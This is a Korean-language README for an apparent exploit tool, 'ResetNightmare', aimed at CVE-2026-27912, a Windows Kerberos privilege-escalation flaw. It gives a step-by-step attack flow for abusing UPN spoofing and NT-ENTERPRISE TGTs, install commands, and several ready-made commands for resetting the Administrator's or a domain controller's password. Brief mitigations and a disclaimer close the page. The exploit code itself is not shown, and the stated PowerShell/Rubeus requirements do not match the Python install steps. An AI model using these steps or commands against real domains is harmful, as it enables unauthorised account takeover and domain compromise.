Kerberos-CVE-2026-27912

CVE-2026-27912 - Windows Kerberos 권한 상승 취약점

ResetNightmare - Kerberos 암호 변경 프로토콜 결함을 통한 무단 암호 재설정

---

📋 세부 정보

필드	값
CVE	CVE-2026-27912
제목	Windows Kerberos 권한 상승 취약점
CVSS	8.0 HIGH (CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWE	CWE-285: 부적절한 인가
게시일	2026년 4월 14일
패치됨	2026년 4월

---

🔍 공격 흐름

1. Attacker has/creates account with UPN write permissions
2. Sets fake UPN to target's sAMAccountName
3. Requests TGT with NT-ENTERPRISE name type
4. Clears their own UPN
5. Uses TGT to reset target's password
6. Verifies password change success

---

📦 요구 사항

• Windows 및 PowerShell
• ActiveDirectory 모듈 (Install-WindowsFeature RSAT-AD-PowerShell)
• Rubeus.exe (GhostPack/Rubeus에서 다운로드)
• 도메인 컨트롤러에 대한 네트워크 액세스

---

🚀 설치

# Clone repository
git clone https://github.com/oxstussz-eng/Kerberos-CVE-2026-27912.git
cd Kerberos-CVE-2026-27912

# Install dependencies
pip install -r requirements.txt

---

💻 사용법

기본 공격

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass

컴퓨터 계정 대상

python resetnightmare.py -t DC01$ -p NewPass123 -u AttackUser -up AttackPass -c

새 계정 생성

python resetnightmare.py -t Admin -p NewPass -u NewUser -up Pass -path "OU=Temp,DC=domain,DC=local"

상세 모드

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass -v

---

📊 인수

플래그	설명	기본값
-t / --target	대상 계정 이름	필수
-p / --new-password	대상의 새 비밀번호	필수
-u / --upn-user	가짜 UPN을 설정할 계정	필수
-up / --upn-password	UPN 계정의 비밀번호	필수
-c / --computer	UPNUser가 컴퓨터 계정인지 여부	플래그
-r / --rubeus-path	Rubeus.exe 경로	Rubeus.exe
-e / --encryption	지원되는 암호화 유형	AES256
-path / --create-path	새 계정을 생성할 OU 경로	""
-d / --dc	도메인 컨트롤러 이름	자동 감지
-v / --verbose	상세 출력	플래그

---

🛡️ 완화 조치

1. 공식 패치 적용 - Microsoft 보안 업데이트 제공
2. 네트워크 분리 - 인접 네트워크 액세스 제한
3. 최소 권한 적용 - UPN 쓰기 권한 제한
4. 모니터링 - 의심스러운 UPN 변경 및 비밀번호 재설정 감시

---

⚠️ 면책 조항

공인된 보안 테스트 및 교육 연구 목적으로만 사용하십시오.

컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 작성자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다.

---

📚 참조 자료

• NVD: CVE-2026-27912
• Microsoft Security Update Guide

---

👨‍💻 작성자

n0vax1337 / 보안 연구원

---

📄 라이선스

MIT 라이선스 - LICENSE 참조

---

최종 업데이트: 2026